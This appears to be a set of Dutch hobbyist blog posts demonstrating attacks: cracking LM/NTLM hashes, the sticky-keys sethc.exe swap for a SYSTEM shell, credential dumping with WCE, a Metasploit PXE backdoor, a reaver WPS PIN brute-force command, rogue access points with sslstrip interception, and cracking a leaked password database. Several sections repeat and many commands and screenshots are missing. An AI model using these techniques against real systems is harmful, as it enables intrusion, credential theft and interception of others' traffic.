Wat even belangrijk is om te weten, is dat een LM hash van aad3b435b51404eeaad3b435b51404ee, of een NTLM hash van c7f06f0db9d571cf0f4408b777af3616 ook wel bekend staat als leeg, niks, noppes nada. Zoals hier te zien is, heeft alleen Henk zijn wachtwoord opgeslagen in LM formaat. Dat is voor Henk heel slecht, maar voor iemand die zijn wachtwoord wil kraken heel, heel goed. Waarom, dat wordt ietwat veel om in dit verhaal uit te leggen, maar als je zin hebt: LM hash - Wikipedia.Gebruikersnaam:User ID:LM Hash:NTLM Hash
Wat je voor dit verhaal moet weten, is dat LM hashes onwijs makkelijk te kraken zijn, en dat NTLM een stuk veiliger is. Ook staat het opslaan van LM hashes standaard uit vanaf Windows Vista. Toch zijn er bedrijven / systeembeheerders die dit nog gebruiken. Dus, herken jij jezelf in dit profiel? Soliciteer nu! Doe eens niet!.
Kraaktijd! De eerste poging is een gewone brute-force aanval met John the Ripper:

(De commandline spreekt voor zich in dit geval denk ik, kraak de LM hash in "/tmp/hash_van_henk" met john)
Vanwege de manier waarop LM hashing werkt, wordt het wachtwoord in twee delen gekraakt, en is de uitkomst altijd uppercase. Dus aan elkaar geplakt komt er een wachtwoord uit van W4CHTW00RDH3NK.
Helaas gaat Windows dat niet accepteren. Maar we kunnen dit wachtwoord wel gebruiken voor een aanval op het NTLM gedeelte van de hash. Het reeds achterhaalde wachtwoord zetten we in /tmp/wordlist, en voeren nog een aanval met John uit:

Wat je hier ziet is John die de NTLM hash probeert te kraken met "W4CHTW00RDH3NK" als enige woord. --rules zorgt ervoor dat er enkele regels toegepast worden, waaronder het vervangen van hoofdletters met kleinere letters.
Dit hele proces neemt al snel 15 minuten of meer in beslag, en zoveel geduld opbrengen is lastig. Gelukkig hebben we de foto's rainbow tables nog! Wat rainbow tables precies zijn ga ik wederom niet uitleggen, maar mocht je het echt heel heel heel heul heul graag willen weten, zie dan hier. Het enige wat je nu moet weten, is dat het kraken van LM hashes met rainbow tables echt retesnel is. De tool in dit geval is rcracki_mt, en de command line is als volgt:
./rcracki_mt -f /tmp/hash_van_henk -t 4 /storage/RT/LM/lm_all-space#1-7_0/*
- ./rcracki_mt - Programma
- -f /tmp/hash_van_henk - De te kraken hash
- -t 4 - Gebruik 4 threads (Is die dure CPU toch nog ergens goed voor)
- ./rcracki_mt -f /tmp/hash_van_henk -t 4 /storage/RT/LM/lm_all-space#1-7_0/* - Gebruik alle tables in de map lm_all-space#1-7_0
- lm_all-space#1-7_0
- lm_all-space#1-7_1
- lm_all-space#1-7_2
- lm_all-space#1-7_3

Kijk, dat zien we graag. Klaar in minder dan een halve minuut, en rcracki_mt heeft zelf al uitgezocht hoe het zit met hoofdletters. Remember kids, a lazy hacker is a good hacker.
Helaas voor Henk, is het wachtwoord van MrAdmin niet in LM hash opgeslagen, en met je z'n eigen gekraakte wachtwoord kan hij niet zo veel (Maar het is wel verdomd handig voor dit verhaal). Hij kan de NTLM variant wel proberen te kraken, maar dat gaat waarschijnlijk aanzienlijker langer duren, dus tijd voor een ander truukje.
Sticky Keys
Ken je dat? Ben je lekker aan het gamen, krijg je opeens een piepje uit de krochten van de hel en / of pc-speaker, en dit venstertje gooit je game naar de taakbalk:

Wat blijkt, na 5 keer op de shift toets drukken komt dit omhoog. Als je dat doet, opent Windows het programma C:\Windows\System32\sethc.exe, ook voordat een gebruiker ingelogd is, op het aanmeldscherm.
Omdat Henk toch nog in een Linux omgeving is, heeft hij niks met Windows permissions te maken, en kan hij gewoon het volgende doen:

Oftewel: verplaats sethc.exe naar sethc.exe.bak, en kopiëer cmd.exe naar sethc.exe. Henk herstart de PC, en drukt bij het inlogscherm 5 keer op shift:

W00t! Een shell, op het inlogscherm, als NT AUTHORITY\SYSTEM (Hogere rechten bestaan niet op een Windows systeem). Zou ik explorer kunnen starten?:


Hmm, een beetje vreemd, maar wel lekker. Een desktopomgeving in je aanmeldscherm! Maar, genoeg gespeeld, tijd voor de climax:


Profit! Henk is lid van de Administrator groep, en kan eindelijk zijn nieuwe screensaver installeren. Ook heeft Henk nu wat meer mogelijkheden om alsnog achter het wachtwoord van MrAdmin te komen.
Hij wacht tot MrAdmin een keer inlogt op de pc, en zich niet goed afmeld. Dan pakt Henk de onwijs handige tool wce. Wat kan WCE? Nou, dit:

Ja, je ziet het goed. Zolang een gebruiker ingelogd is, of zolang er een service draait als een bepaalde gebruiker, kan WCE het wachtwoord plaintext uit het geheugen vissen. Oók als het gaat om gebruikers in een Windows domein (Dus, Admins op Terminal Servers, niet doen hè?).
Kan dat niet makkelijker?
Ja hoor, veel makkelijker, er bestaat namelijk iets als kon-boot. Is niet gratis, maar wel very much handig. Want zodra je van de kon-boot cd opstart, kan je in alle accounts op de computer inloggen zonder een wachtwoord in te voeren, en wordt het sticky keys truukje van hierboven automatisch toegepast:
Maar ik kan helemaal niet van CD starten, maar onze beheerder heeft de computers wel zo ingesteld dat ze via PXE boot een image kunnen downloaden
Nou, dat maakt het nog een stukje makkelijker. De populaire tool Metasploit heeft hier namelijk een prachtige module voor:

Wat dit doet? Het start een eigen PXE server, een computer start er automatisch van op en er wordt een gebruiker "metasploit" toegevoegd, en lid gemaakt van de Administrator groep. Ook zet het een eventuele firewall uit, en installeert het een service waar metasploit naar kan verbinden om Meterpreter te starten op de machine (Een soort shell++, mocht je er meer over willen weten, even googlen
Wat in actie screenshots dan, voor die techneuten die nu nog steeds benieuwd zijn:





Dat allemaal automagisch, et voilá:

Hoe makkelijk wil je het hebben
Eek! (Tuuunununununuuu) Hoe voorkom ik dit?
- Zorg (voor oudere operating systems en domeinen) dat het gebruik van LM hashes uit staat
- Zet een wachtwoord op je BIOS.
- Zorg dat het eerste boot device je HDD is.
- Zorg eventueel voor disk encryptie
- Don't be an idiot

Wifileaks Pt. II
Eigenlijk was ik al een hele tijd van plan dit blogje te schrijven, naar aanleiding van een comment op mijn vorige blog. Toen zag ik vandaag opeens dat de Consumentenbond mij al voor was. WTF! Oh well, dan heb ik nu wat extra draagvlak
.
Voor de technische voodoo begint, een kleine, maar nodige inleiding naar de wondere wereld van WPS. Het is ooit verzonnen om het makkelijk te maken nieuwe apparaten toe te voegen aan een netwerk met een onwijs lang WiFi wachtwoord, zonder dat elke keer in te hoeven tikken. Hiervoor zijn twee oplossingen bedacht.
De knop
Bij deze oplossing is het de bedoeling dat je een apparaat vraagt verbinding te maken met het netwerk, en als het apparaat het je héééél lief vraagt, of je dan alsje- alsje- alsjeblieft de knop op je router of accesspoint wil indrukken. Op de Linksys router die ik voor dit verhaaltje gebruik ziet die knop er zo uit:

In principe is dit gewoon "veilig". Iemand die daar misbruik van wil maken moet namelijk al in je huiskamer staan, en dan heb je grotere kopzorgen dan je draadloze netwerk
.
De PIN
Hier wordt het lachen geblazen. De tweede oplossing is namelijk het invoeren van de pincode die onderop je router / accesspoint staat, in het apparaat wat je wil verbinden. Een soort vervanging van je super lange wifi wachtwoord dus. Onderop mijn Linksys zit dan ook de volgende sticker:

Oké, super. Acht karakters, dat is dus 10x10x10x10x10x10x10x10 (Of 10^8 voor jullie wiskundefreaks) = 100.000.000 combinaties. Uit ervaring kan ik je vertellen dat in een real-life situatie, het brute forcen van de PIN je ongeveer 4 seconden van je leven kost, per poging. Dat komt uit op een bruto van 12,7 jaar. Niet echt de moeite.
Toen dacht iemand bij de implementatie, dit kan handiger. In plaats van gewoon alle acht getallen goed of fout keuren bij een transactie, krijg je een andere reactie terug van het accespoint of de router als de eerste 4 karakters fout zijn, dan als dat deze juist zijn. Daarmee wordt het aantal pogingen al 10x10x10x10 + 10x10x10x10 (10^4 + 10^4) = 20.000 pogingen.
Maar, dat was nog niet handig genoeg. Het laatste getal van de 8 is geen willekeurig getal, maar een checksum van de eerste 7. Hoe deze berekend wordt is voor jullie als aanvaller niet heel belangrijk, maar deze is dus te berekenen aan de hand van de eerste 7 karakters. Klinkt ingewikkeld, maar kijk even mee lieve kijkbuiskinders. De uiteindelijke formule voor het maximaal aantal pogingen (van 00000000 - 99999999) wordt dus 10x10x10x10 + 10x10x10 (10^4 + 10^3, het laatste getal van de 8 is namelijk voor elke combinatie te berekenen.) = 11.000.
Dat zijn zo'n 99.989.000 benodigde pogingen minder die nodig zijn om de juiste PIN te vinden. In tijd uitgedrukt wordt dat in plaats van 12,7 jaar, bij 4 seconden per pin, zo'n 12,2 uur. Dat is een aardig verschil, en gewoon in één dag te doen. Als je dan ook nog eens een net iets betere WiFi stick / antenne regelt, kan je de tijd bijna halveren naar 2 seconden per pin (6 uur). En dat is om van 00000000 naar 99999999 te gaan. Dus als jouw pincode 12344321 is, ben je aardig snel de spreekwoordelijke Sjaak.
Is het dan echt zo erg?
Ondertussen is het wel bekend dat ik een groot fan van plaatjes ben, dus dit is een screenshot van alle accesspoints die ik kan ontvangen, waar WPS ingeschakeld staat (Gemaakt met een tooltje genaamd "Wash", later meer daarover):

Of tenminste, dit is wat er op mijn scherm paste, de lijst gaat nog door. Al deze netwerken zijn met 95% zekerheid kwetsbaar voor deze aanval. Het enige belangrijke punt is dat het bereik goed genoeg is voor de WPS transacties.
Voor de tweakers onder ons, in Wireshark ziet een accesspoint met WPS ingeschakeld er zo uit:

Oke, en dan?
Enter reaver-wps. Een tooltje speciaal gemaakt om deze aanval uit te voeren. Gebundeld met reaver-wps is een tooltje genaamd "Wash", wat kan scannen naar netwerken met WPS ingeschakeld.
Voor deze demo heb ik zelf een Linksys E3000 ingesteld als accesspoint, met de laatste standaard firmware (Versie 1.0.0.4), netwerknaam "Henk" (Omdat waarom niet?). Die kan je in het screenshot hierboven ook terug vinden. Vervolgens gooi ik het volgende commando in mijn Ubuntu terminal:
Huh, wasda?

Het belangrijke gedeelte heb ik hier even omcirkeld. Wat je hier ziet is dat na de "M4 Message" het accesspoint een "WSC Nack" terug stuurt. Wat dat is, is niet heel belangrijk, maar onthou even dat dat nu na M4 komt.
Na een paar uur proberen, gaat reaver uiteindelijk de eerste 4 cijfers goed raden. Dan ziet de uitkomst er opeens zo uit:

De oplettende lezer heeft het natuurlijk allang gezien, maar er is iets anders. Waar de "WSC Nack" net al na de "M4 Message" kwam, komt hij nu pas na de "M6 message". Hieraan is te zien of de eerste 4 cijfers van de PIN kloppen of niet.
Op dit punt zal het percentage van reaver naar 90% springen, en gaat hij proberen de rest goed te raden. Uiteindelijk worden alle 8 cijfers goed geraden en krijg je dit te zien:

De "M" messages lopen door tot 7, en het accesspoint geeft netjes de WPA sleutel af. Om Po maar eens te quoten: "Uh-oh".
Wat kan je nu dan?
Het eerste wat je te binnen schiet is natuurlijk gewoon aanmelden op dat netwerk. Maar ja, dan wat? Uit m'n hoofd, dit:
Best een serieus lek dus, en al relatief oud. Ik heb er zelfs een jaar geleden al over geschreven. Maar het blijkt nog steeds onwijs makkelijk te misbruiken.
Boeiend, ik heb het uit staan.
Zeker weten? Bij oudere Linksys modellen (<e4200, en zelfs daar pas vanaf een nieuwere firmware), zijn de enige opties:

en

Je zou denken dat WPS bij optie twee uit staat, toch? Niet dus. Ik kan m'n aanval nog steeds draaien, en zelfs mijn telefoon weet me te vertellen dat WPS beschikbaar is:

Maar ik gebruik MAC Filtering op mijn netwerk, en mijn SSID is verborgen, dus puh
Tja, dan zet ik airodump-ng een minuutje aan en zie ik welke clients er met jouw netwerk verbinden.
Dan weet ik welk MAC adres in ieder geval toegestaan is, en die client stuurt ook nog eens jouw netwerknaam mee zodat ik die ook gelijk weet. Vervolgens is een MAC adres veranderen onder linux een kwestie van 1 commando ( macchanger --mac 00:11:22:33:44:55, mocht je het willen weten
)
Argh, wat moet ik doen dan
Tja, je kán wachten tot de fabrikant een nieuwe firmware uitbrengt waar WPS helemaal uit kan, maar de echte tweaker zet natuurlijk gewoon een custom firmware op de router waar WPS helemaal niet in zit. Verder, hopen en bidden dat je provider het snel voor je oplost. Want op dit moment staat je draadloze netwerk gewoon zo goed als compleet open, ook met MAC filtering en een hidden SSID.
Voor de technische voodoo begint, een kleine, maar nodige inleiding naar de wondere wereld van WPS. Het is ooit verzonnen om het makkelijk te maken nieuwe apparaten toe te voegen aan een netwerk met een onwijs lang WiFi wachtwoord, zonder dat elke keer in te hoeven tikken. Hiervoor zijn twee oplossingen bedacht.
De knop
Bij deze oplossing is het de bedoeling dat je een apparaat vraagt verbinding te maken met het netwerk, en als het apparaat het je héééél lief vraagt, of je dan alsje- alsje- alsjeblieft de knop op je router of accesspoint wil indrukken. Op de Linksys router die ik voor dit verhaaltje gebruik ziet die knop er zo uit:

In principe is dit gewoon "veilig". Iemand die daar misbruik van wil maken moet namelijk al in je huiskamer staan, en dan heb je grotere kopzorgen dan je draadloze netwerk
De PIN
Hier wordt het lachen geblazen. De tweede oplossing is namelijk het invoeren van de pincode die onderop je router / accesspoint staat, in het apparaat wat je wil verbinden. Een soort vervanging van je super lange wifi wachtwoord dus. Onderop mijn Linksys zit dan ook de volgende sticker:

Oké, super. Acht karakters, dat is dus 10x10x10x10x10x10x10x10 (Of 10^8 voor jullie wiskundefreaks) = 100.000.000 combinaties. Uit ervaring kan ik je vertellen dat in een real-life situatie, het brute forcen van de PIN je ongeveer 4 seconden van je leven kost, per poging. Dat komt uit op een bruto van 12,7 jaar. Niet echt de moeite.
Toen dacht iemand bij de implementatie, dit kan handiger. In plaats van gewoon alle acht getallen goed of fout keuren bij een transactie, krijg je een andere reactie terug van het accespoint of de router als de eerste 4 karakters fout zijn, dan als dat deze juist zijn. Daarmee wordt het aantal pogingen al 10x10x10x10 + 10x10x10x10 (10^4 + 10^4) = 20.000 pogingen.
Maar, dat was nog niet handig genoeg. Het laatste getal van de 8 is geen willekeurig getal, maar een checksum van de eerste 7. Hoe deze berekend wordt is voor jullie als aanvaller niet heel belangrijk, maar deze is dus te berekenen aan de hand van de eerste 7 karakters. Klinkt ingewikkeld, maar kijk even mee lieve kijkbuiskinders. De uiteindelijke formule voor het maximaal aantal pogingen (van 00000000 - 99999999) wordt dus 10x10x10x10 + 10x10x10 (10^4 + 10^3, het laatste getal van de 8 is namelijk voor elke combinatie te berekenen.) = 11.000.
Dat zijn zo'n 99.989.000 benodigde pogingen minder die nodig zijn om de juiste PIN te vinden. In tijd uitgedrukt wordt dat in plaats van 12,7 jaar, bij 4 seconden per pin, zo'n 12,2 uur. Dat is een aardig verschil, en gewoon in één dag te doen. Als je dan ook nog eens een net iets betere WiFi stick / antenne regelt, kan je de tijd bijna halveren naar 2 seconden per pin (6 uur). En dat is om van 00000000 naar 99999999 te gaan. Dus als jouw pincode 12344321 is, ben je aardig snel de spreekwoordelijke Sjaak.
Is het dan echt zo erg?
Ondertussen is het wel bekend dat ik een groot fan van plaatjes ben, dus dit is een screenshot van alle accesspoints die ik kan ontvangen, waar WPS ingeschakeld staat (Gemaakt met een tooltje genaamd "Wash", later meer daarover):

Of tenminste, dit is wat er op mijn scherm paste, de lijst gaat nog door. Al deze netwerken zijn met 95% zekerheid kwetsbaar voor deze aanval. Het enige belangrijke punt is dat het bereik goed genoeg is voor de WPS transacties.
Voor de tweakers onder ons, in Wireshark ziet een accesspoint met WPS ingeschakeld er zo uit:

Oke, en dan?
Enter reaver-wps. Een tooltje speciaal gemaakt om deze aanval uit te voeren. Gebundeld met reaver-wps is een tooltje genaamd "Wash", wat kan scannen naar netwerken met WPS ingeschakeld.
Voor deze demo heb ik zelf een Linksys E3000 ingesteld als accesspoint, met de laatste standaard firmware (Versie 1.0.0.4), netwerknaam "Henk" (Omdat waarom niet?). Die kan je in het screenshot hierboven ook terug vinden. Vervolgens gooi ik het volgende commando in mijn Ubuntu terminal:
reaver -b 00:25:9C:**:**:** -c 11 -vv --dh-small --no-nacks -i mon0
Huh, wasda?
- reaver - Naam van het programma
- -b 00:25:9C:**:**:** - MAC Adres van het accesspoint (Gewoon te zien in tooltjes als Wash en airodump-ng, geanonimiseerd voor dit verhaal
) - -c 11 - Het kanaal van het accesspoint, in dit geval 11. Deze optie is niet nodig, maar kan de aanval wat versnellen als het accesspoint toch niet automatisch van kanaal wisselt.
- -vv - Geef me meer output! Ik wil zoveel mogelijk info terugzien.
- --dh-small - Gebruik een kleinere Diffie–Hellman key om de transactie te versleutelen. Verlaagt de CPU load op het aan te vallen accesspoint en verhoog de snelheid van de aanval
- --no-nacks - Stuur geen NACK pakketje terug als de volgorde van de pakketjes door elkaar loopt. Niet echt spannend om de precieze betekenis te weten, als je maar onthoud dat sommige accesspoints met deze optie veel sneller aangevallen kunnen worden.
- -i mon0 - De WiFi interface om te gebruiken voor de aanval, in mijn geval mon0.

Het belangrijke gedeelte heb ik hier even omcirkeld. Wat je hier ziet is dat na de "M4 Message" het accesspoint een "WSC Nack" terug stuurt. Wat dat is, is niet heel belangrijk, maar onthou even dat dat nu na M4 komt.
Na een paar uur proberen, gaat reaver uiteindelijk de eerste 4 cijfers goed raden. Dan ziet de uitkomst er opeens zo uit:

De oplettende lezer heeft het natuurlijk allang gezien, maar er is iets anders. Waar de "WSC Nack" net al na de "M4 Message" kwam, komt hij nu pas na de "M6 message". Hieraan is te zien of de eerste 4 cijfers van de PIN kloppen of niet.
Op dit punt zal het percentage van reaver naar 90% springen, en gaat hij proberen de rest goed te raden. Uiteindelijk worden alle 8 cijfers goed geraden en krijg je dit te zien:

De "M" messages lopen door tot 7, en het accesspoint geeft netjes de WPA sleutel af. Om Po maar eens te quoten: "Uh-oh".
Wat kan je nu dan?
Het eerste wat je te binnen schiet is natuurlijk gewoon aanmelden op dat netwerk. Maar ja, dan wat? Uit m'n hoofd, dit:
- Scannen in het netwerk om te kijken of er kwetsbare computers zijn om op in te breken.
- Dingen als ARP Spoofing gaan inzetten om al het verkeer om te leiden en af te luisteren.
- DHCP Instellingen aanpassen om al het verkeer via je eigen router te laten lopen.
- DNS Servers aanpassen naar eigen beheerde DNS servers.
- Etc.
Best een serieus lek dus, en al relatief oud. Ik heb er zelfs een jaar geleden al over geschreven. Maar het blijkt nog steeds onwijs makkelijk te misbruiken.
Boeiend, ik heb het uit staan.
Zeker weten? Bij oudere Linksys modellen (<e4200, en zelfs daar pas vanaf een nieuwere firmware), zijn de enige opties:

en

Je zou denken dat WPS bij optie twee uit staat, toch? Niet dus. Ik kan m'n aanval nog steeds draaien, en zelfs mijn telefoon weet me te vertellen dat WPS beschikbaar is:

Maar ik gebruik MAC Filtering op mijn netwerk, en mijn SSID is verborgen, dus puh
Tja, dan zet ik airodump-ng een minuutje aan en zie ik welke clients er met jouw netwerk verbinden.
Dan weet ik welk MAC adres in ieder geval toegestaan is, en die client stuurt ook nog eens jouw netwerknaam mee zodat ik die ook gelijk weet. Vervolgens is een MAC adres veranderen onder linux een kwestie van 1 commando ( macchanger --mac 00:11:22:33:44:55, mocht je het willen weten
Argh, wat moet ik doen dan
Tja, je kán wachten tot de fabrikant een nieuwe firmware uitbrengt waar WPS helemaal uit kan, maar de echte tweaker zet natuurlijk gewoon een custom firmware op de router waar WPS helemaal niet in zit. Verder, hopen en bidden dat je provider het snel voor je oplost. Want op dit moment staat je draadloze netwerk gewoon zo goed als compleet open, ook met MAC filtering en een hidden SSID.
Wifileaks
Eigenlijk loop ik al langer te spelen met dit onderwerp, maar ik kan niet echt besluiten of het spannend genoeg is om tijd aan te besteden. Dat en luiheid, vooral luiheid. Maargoed, nu dan toch.
Ik denk dat de meeste mensen ondertussen wel bekend zijn met het prachtverschijnsel WiFi (wat kort is voor "Wireless Fidelity" maar toch ook niet). Wat vooral onwijs handig is, is dat er op veel plekken "gratis" openbare hotspots worden aangeboden. Nu denk je natuurlijk: "Ja, pff, ga anders nog even lopen miepen over het gebrek van encryptie, huilie". Maar neen! Dit stukje gaat meer over zakkenrollen dan over afluisteren.
Vertel Bert, vertel..
Het leuke is dus, dat apparaten 99 van de 100 keer onthouden met welke access points ze ooit verbonden zijn. Lekker belangrijk, zul je denken, maar zolang ze geen verbinding hebben met een ander access point (En zelfs dan soms nog, those cheating bastards), zoeken ze naar alle access points uit het lijstje. Wat voor nog meer vermaak zorgt, is dat elke jongeman (of vrouw) met een handigheid in techniek, en dan vooral computers dit kan zien. Mits in bereik natuurlijk. Zie hier:

"Grote neukende overeenkomst", hoor ik je denken. Nou ja, je kan er natuurlijk bij sommige mensen redelijk goed aan zien waar ze bijvoorbeeld allemaal uithangen, en hoe het WiFi netwerk thuis heet (Wat misschien inzicht geeft in een denkwijze, weet ik 't). Maar het echte spannende is als je netwerk namen ziet verschijnen als:
Maar, waarom dan?
Omdat de lieve apparaten niet alleen zoeken naar die netwerken, maar ook vaak verbinden mits het type encryptie overeen komt. En dan is het opeens wel spannend dat ze dat niet gebruiken, want dan kan je natuurlijk ook gewoon zelf een nep access point opzetten.
Pff, zo technisch ben ik niet
Gelukkig is het niet zo moeilijk. Iedere malloot met backtrack kan het. Daarin zit namelijk de mooie tool: SET (Of "Social Engineer Toolkit"). Je loopt een mooie wizard door, en voor je het weet, profit:

Opzich kan je zelf al een beetje uitzoeken wat het doet, aan de hand van de tekst. Maar de TL;DR versie is:


Wifi op m'n tablet aan, wanneer plots:


En ik kan vrolijk internetten op m'n tablet.
Goedzo, je bent nu een gratis internet provider. En nu?
Verkeer sniffen. Soms zegt een simpel plaatje gewoon meer

Het enige probleem is die vervelende SSL versleuteling. Het enige wat je daarvan ziet is:

De trouwe tweaker ziet hier een verzoek naar facebook, wat eigenlijk direct met een 302 een omleiding krijgt naar de HTTPS variant. Vervolgens zie je alleen garbage.
Enter SSLstrip
Zoals de woorden hierboven doen vermoeden, is er een oplossing voor: sslstrip. Het idee is simpel. Al het normale web verkeer loopt via ssltrip, totdat deze een omleiding tegenkomt naar https. ssl strip zet zelf de SSL verbinding naar de doelserver op, en veranderd het verkeer zodat de client (In dit geval mijn tablet) gewoon netjes op http zonder versleuteling blijft. Zie hier, uw basis woman in the middle aanval. Nu is er opeens wel boeiende data te zien:

En nog één keer onder het rokje:

Nu is dit natuurlijk een beetje rommelige manier om het verkeer te bekijken, dus mocht je het willen, kan je er natuurlijk ook een intercepting proxy inzetten zoals Burp:

Het leuke is, dat je hiermee automatisch requests en responses van en naar de server kan aanpassen om allerlei leuke dingen te doen, maar dat laat ik aan jullie fantasie over.
..dat is alles?
Voor mobiele devices zo ongeveer wel ja. Maar gelukkig hebben laptops ook vaak WiFi. En als je daar het verhaal van hierboven mee combineert, kan je wat leuke bezigheden zelf wel verzinnen denk ik. Je hebt namelijk volledige controle over de internetverbinding. Ik noem:

Met een grand total van:

Daar moet wel iets tussen zitten toch? Even je target machine overhalen de link te bezoeken, en:

Blijkbaar is de standaard Windows 7 SP1 installatie kwetsbaar voor MS11_003
. En dat houdt in, een meterpreter shell op het systeem:

Nu ben je vrij om te doen wat je wil op het systeem. Wachtwoorden dumpen, backdoor installeren die terug connect als de laptop thuis of op het werk wordt aangesloten, etc.
Nou, mooi, dan knikker ik gewoon alle netwerken uit m'n lijst na gebruik
Ja, inderdaad, en dat zou je ook moeten doen. Behalve, als je zo'n mooi stukje hardware hebt met een appeltje en iOS erop. Daar kan je namelijk alleen netwerken verwijderen, als ze ook daadwerkelijk ontvangen kunnen worden door het apparaat. Dus niet vergeten het netwerk te verwijderen als je klaar bent met je big tasty met bacon!
Ik denk dat de meeste mensen ondertussen wel bekend zijn met het prachtverschijnsel WiFi (wat kort is voor "Wireless Fidelity" maar toch ook niet). Wat vooral onwijs handig is, is dat er op veel plekken "gratis" openbare hotspots worden aangeboden. Nu denk je natuurlijk: "Ja, pff, ga anders nog even lopen miepen over het gebrek van encryptie, huilie". Maar neen! Dit stukje gaat meer over zakkenrollen dan over afluisteren.
Vertel Bert, vertel..
Het leuke is dus, dat apparaten 99 van de 100 keer onthouden met welke access points ze ooit verbonden zijn. Lekker belangrijk, zul je denken, maar zolang ze geen verbinding hebben met een ander access point (En zelfs dan soms nog, those cheating bastards), zoeken ze naar alle access points uit het lijstje. Wat voor nog meer vermaak zorgt, is dat elke jongeman (of vrouw) met een handigheid in techniek, en dan vooral computers dit kan zien. Mits in bereik natuurlijk. Zie hier:

"Grote neukende overeenkomst", hoor ik je denken. Nou ja, je kan er natuurlijk bij sommige mensen redelijk goed aan zien waar ze bijvoorbeeld allemaal uithangen, en hoe het WiFi netwerk thuis heet (Wat misschien inzicht geeft in een denkwijze, weet ik 't). Maar het echte spannende is als je netwerk namen ziet verschijnen als:
- KPN
- Free-hotspot.com
- $randomhotel-guest
- Belgacom
- Gastwifi
- etc..

Maar, waarom dan?
Omdat de lieve apparaten niet alleen zoeken naar die netwerken, maar ook vaak verbinden mits het type encryptie overeen komt. En dan is het opeens wel spannend dat ze dat niet gebruiken, want dan kan je natuurlijk ook gewoon zelf een nep access point opzetten.
Pff, zo technisch ben ik niet
Gelukkig is het niet zo moeilijk. Iedere malloot met backtrack kan het. Daarin zit namelijk de mooie tool: SET (Of "Social Engineer Toolkit"). Je loopt een mooie wizard door, en voor je het weet, profit:

Opzich kan je zelf al een beetje uitzoeken wat het doet, aan de hand van de tekst. Maar de TL;DR versie is:
- Kijk naar welke netwerken gezocht wordt
- Maak neppe access points aan met al die namen
- Zorg dat iedereen kan verbinden en internet toegang heeft
- Onderschep al het verkeer


Wifi op m'n tablet aan, wanneer plots:


En ik kan vrolijk internetten op m'n tablet.
Goedzo, je bent nu een gratis internet provider. En nu?
Verkeer sniffen. Soms zegt een simpel plaatje gewoon meer

Het enige probleem is die vervelende SSL versleuteling. Het enige wat je daarvan ziet is:

De trouwe tweaker ziet hier een verzoek naar facebook, wat eigenlijk direct met een 302 een omleiding krijgt naar de HTTPS variant. Vervolgens zie je alleen garbage.
Enter SSLstrip
Zoals de woorden hierboven doen vermoeden, is er een oplossing voor: sslstrip. Het idee is simpel. Al het normale web verkeer loopt via ssltrip, totdat deze een omleiding tegenkomt naar https. ssl strip zet zelf de SSL verbinding naar de doelserver op, en veranderd het verkeer zodat de client (In dit geval mijn tablet) gewoon netjes op http zonder versleuteling blijft. Zie hier, uw basis woman in the middle aanval. Nu is er opeens wel boeiende data te zien:

En nog één keer onder het rokje:

Nu is dit natuurlijk een beetje rommelige manier om het verkeer te bekijken, dus mocht je het willen, kan je er natuurlijk ook een intercepting proxy inzetten zoals Burp:

Het leuke is, dat je hiermee automatisch requests en responses van en naar de server kan aanpassen om allerlei leuke dingen te doen, maar dat laat ik aan jullie fantasie over.
..dat is alles?
Voor mobiele devices zo ongeveer wel ja. Maar gelukkig hebben laptops ook vaak WiFi. En als je daar het verhaal van hierboven mee combineert, kan je wat leuke bezigheden zelf wel verzinnen denk ik. Je hebt namelijk volledige controle over de internetverbinding. Ik noem:
- DNS responses faken om andere sites te tonen
- iframes injecteren in legitime responses om op de achtergrond exploit kits uit te voeren

Met een grand total van:

Daar moet wel iets tussen zitten toch? Even je target machine overhalen de link te bezoeken, en:

Blijkbaar is de standaard Windows 7 SP1 installatie kwetsbaar voor MS11_003

Nu ben je vrij om te doen wat je wil op het systeem. Wachtwoorden dumpen, backdoor installeren die terug connect als de laptop thuis of op het werk wordt aangesloten, etc.
Nou, mooi, dan knikker ik gewoon alle netwerken uit m'n lijst na gebruik
Ja, inderdaad, en dat zou je ook moeten doen. Behalve, als je zo'n mooi stukje hardware hebt met een appeltje en iOS erop. Daar kan je namelijk alleen netwerken verwijderen, als ze ook daadwerkelijk ontvangen kunnen worden door het apparaat. Dus niet vergeten het netwerk te verwijderen als je klaar bent met je big tasty met bacon!
Digibewusteloos
Zoals wel vaker luisterde ik ergens in de afgelopen week naar de radio. Normaal hoor ik het wel, maar luister ik niet echt. Dit keer schrok ik echter wakker uit mijn gebruikelijke stasis, doordat mijn onderbewustzijn triggerde op de woorden "Voer nu je wachtwoord in op digibewust.nl, en kijk hoe veilig jouw wachtwoord is!".
Geprikkeld en vol anticipatie volgde ik het commando op, en surfte naar http://www.digibewust.nl/. Ik klik op de grote groene knop "Test nu je wachtwoord", en terwijl ik denk "Je zal toch niet echt je wachtwoord..", zit ik op een website waar "Mooiboy, peter, en tijgertje" me streng aankijken. Ook staat er een tekstje waarin mij wordt medegedeeld dat ik moet zorgen voor een "sterk wachtwoord", want dat is "niet te raden en moeilijk te kraken". Verder staan er nog wat hippe schuifbalkjes en klikvakjes om aan te geven waar jouw wachtwoord uit bestaat, en onderaan komt het keiharde doch rechtvaardige oordeel over de veiligheid van jouw wachtwoord. Simpel toch? Om de één of andere reden kreeg ik opeens de onweerstaanbare drang om Ubuntu weer eens een slinger te geven, gewoon, om te kijken of het klopt. Dus, ik download de gelekte database van LinkedIn, en ga aan de slag.
De tools
Beter bekend bij de mensen thuis als "brute force". Gewoon elke positie karaktjertje voor karaktertje wijzigen, tot er iets nuttigs uit komt. Voor de mensen die nu iets hebben van "OMGWTFBBQ, welk commando dan?", et voilà:

Maar, terug naar het doel van deze hele onderneming, wat zeggen onze nieuwe vrienden hiervan? Nou, dit:

Vreemd.. Volgens die uitkomt zou ik er in m'n eentje een aantal millennia over doen om een wachtwoord te achterhalen, terwijl ik na 15 minuten al op een high-score van 44 zit. Oké, granted, dat hangt enorm af van het gebruikte versleutelingsalgoritme, en het al dan niet gebruiken van salt, en waarschijnlijk gaan de vriendjes ook uit van de tijd die nodig is om *alle* combinaties te achterhalen. Desalnietteminplusgedeelddoorkeeretc, vind ik dat een nogal gedurfde claim om te maken.
Nou, wat zeur je dan, 44 uit een lijst van een paar miljoen is onwijs weinig
Ah, ja. Maar we zijn nog niet klaar! We hebben ook nog de woordenlijsten. Dus ik heb via "bedrijfdeliefdemettimkuik.org" een paar woordenlijsten gedownload, en gebruikt met het volgende commando:
De slimme kijker merkt op dat er hier een paar dingen anders zijn dan het vorige commando:
1052 entries! Dat is al heel wat meer dan 44. Nu zal ik de kostbare tweakblog ruimte niet verspillen met de hele lijst, maar wat stats zijn altijd wel grappig. Gemaakt met het o zo handige programma pipal:
code:
